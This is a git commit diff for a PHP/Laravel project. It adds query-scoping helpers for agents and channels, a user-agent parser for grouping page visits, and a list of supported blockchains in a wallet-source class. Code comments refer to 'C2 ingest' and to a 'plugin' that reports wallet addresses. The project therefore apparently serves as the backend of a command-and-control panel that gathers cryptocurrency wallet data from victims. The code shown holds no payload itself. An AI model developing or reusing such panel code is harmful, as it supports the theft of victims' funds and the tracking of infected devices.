fix: statisc

This commit is contained in:
hashbro
2026-08-10 03:53:10 +08:00
parent ad30453922
commit aad44bf52e
33 changed files with 1207 additions and 28 deletions
+35
View File
@@ -60,4 +60,39 @@ final class AgentScope
return $devicesQuery->whereIn('devices.channel_id', $ids);
}
/**
* Restrict a query that has a bare channel_id column (e.g. page_visits).
*/
public static function applyChannelIdScope(Builder $query, ?User $agent, string $column = 'channel_id'): Builder
{
if ($agent === null) {
return $query;
}
$ids = self::channelIdsFor($agent);
if ($ids === []) {
return $query->whereRaw('1 = 0');
}
return $query->whereIn($column, $ids);
}
public static function applyChannelIdAgentUserFilter(Builder $query, ?int $agentUserId, string $column = 'channel_id'): Builder
{
if ($agentUserId === null || $agentUserId <= 0) {
return $query;
}
$ids = Channel::query()
->where('user_id', $agentUserId)
->pluck('channel_id')
->all();
if ($ids === []) {
return $query->whereRaw('1 = 0');
}
return $query->whereIn($column, $ids);
}
}
+114
View File
@@ -0,0 +1,114 @@
<?php
namespace App\Support;
/**
* Lightweight UA → OS / browser fields for page-visit grouping.
*/
final class UserAgentParser
{
/**
* @return array{os: string, os_version: string, browser: string, browser_version: string}
*/
public static function parse(?string $ua): array
{
$ua = trim((string) $ua);
if ($ua === '') {
return [
'os' => 'Unknown',
'os_version' => '',
'browser' => 'Unknown',
'browser_version' => '',
];
}
[$os, $osVersion] = self::parseOs($ua);
[$browser, $browserVersion] = self::parseBrowser($ua);
return [
'os' => $os,
'os_version' => $osVersion,
'browser' => $browser,
'browser_version' => $browserVersion,
];
}
/**
* @return array{0: string, 1: string}
*/
private static function parseOs(string $ua): array
{
if (preg_match('/iPhone OS (\d+)[._](\d+)(?:[._](\d+))?/i', $ua, $m)
|| preg_match('/CPU OS (\d+)[._](\d+)(?:[._](\d+))?.*like Mac OS X/i', $ua, $m)) {
$ver = $m[1].'.'.$m[2].(isset($m[3]) && $m[3] !== '' ? '.'.$m[3] : '');
return ['iOS', $ver];
}
if (preg_match('/iPad.*OS (\d+)[._](\d+)/i', $ua, $m)) {
return ['iPadOS', $m[1].'.'.$m[2]];
}
if (preg_match('/Android (\d+(?:\.\d+){0,2})/i', $ua, $m)) {
return ['Android', $m[1]];
}
if (preg_match('/Windows NT (\d+\.\d+)/i', $ua, $m)) {
$map = [
'10.0' => '10/11',
'6.3' => '8.1',
'6.2' => '8',
'6.1' => '7',
];
return ['Windows', $map[$m[1]] ?? $m[1]];
}
if (preg_match('/Mac OS X (\d+)[._](\d+)(?:[._](\d+))?/i', $ua, $m)) {
$ver = $m[1].'.'.$m[2].(isset($m[3]) && $m[3] !== '' ? '.'.$m[3] : '');
return ['macOS', $ver];
}
if (preg_match('/Linux/i', $ua)) {
return ['Linux', ''];
}
return ['Unknown', ''];
}
/**
* @return array{0: string, 1: string}
*/
private static function parseBrowser(string $ua): array
{
// Order matters: more specific tokens first (iOS Chrome/Firefox/Edge before Safari).
$rules = [
['CriOS', 'Chrome'],
['Chrome', 'Chrome'],
['EdgiOS', 'Edge'],
['Edg/', 'Edge'],
['FxiOS', 'Firefox'],
['Firefox', 'Firefox'],
['OPT/', 'Opera'],
['OPiOS', 'Opera'],
['Opera', 'Opera'],
['SamsungBrowser', 'Samsung'],
['UCBrowser', 'UC'],
['Version/', 'Safari'], // Safari reports Version/x before Safari/
['Safari', 'Safari'],
];
foreach ($rules as [$token, $name]) {
if ($token === 'Version/' && ! preg_match('/Safari/i', $ua)) {
continue;
}
if ($token === 'Safari' && preg_match('/CriOS|FxiOS|EdgiOS|Chrome|Android/i', $ua)) {
continue;
}
$pattern = $token === 'Version/' || str_ends_with($token, '/')
? '/'.preg_quote(rtrim($token, '/'), '/').'\/(\d+(?:\.\d+){0,2})/i'
: '/'.preg_quote($token, '/').'[\/\s]?(\d+(?:\.\d+){0,2})?/i';
if (preg_match($pattern, $ua, $m)) {
return [$name, $m[1] ?? ''];
}
}
return ['Unknown', ''];
}
}
+21 -2
View File
@@ -43,6 +43,25 @@ final class WalletSource
return self::TAGS[$key] ?? self::TAGS[$tag] ?? $tag;
}
/**
* Chains we persist from C2 ingest (skip UNKNOWN / niche networks).
*
* @var list<string>
*/
public const SUPPORTED_CHAINS = [
'ETH', 'ETHEREUM', 'EVM',
'TRX', 'TRON',
'BTC', 'BITCOIN',
'SOL', 'SOLANA',
'BNB', 'BSC', 'BINANCE',
'TON',
];
public static function isSupportedChain(string $chainType): bool
{
return in_array(strtoupper(trim($chainType)), self::SUPPORTED_CHAINS, true);
}
/**
* Infer chain type from address when plugin omits chainType.
*/
@@ -50,7 +69,7 @@ final class WalletSource
{
$address = trim($address);
if ($address === '') {
return 'unknown';
return 'UNKNOWN';
}
if (preg_match('/^0x[0-9a-fA-F]{40}$/', $address)) {
return 'ETHEREUM';
@@ -73,7 +92,7 @@ final class WalletSource
return 'TON';
}
return 'unknown';
return 'UNKNOWN';
}
/**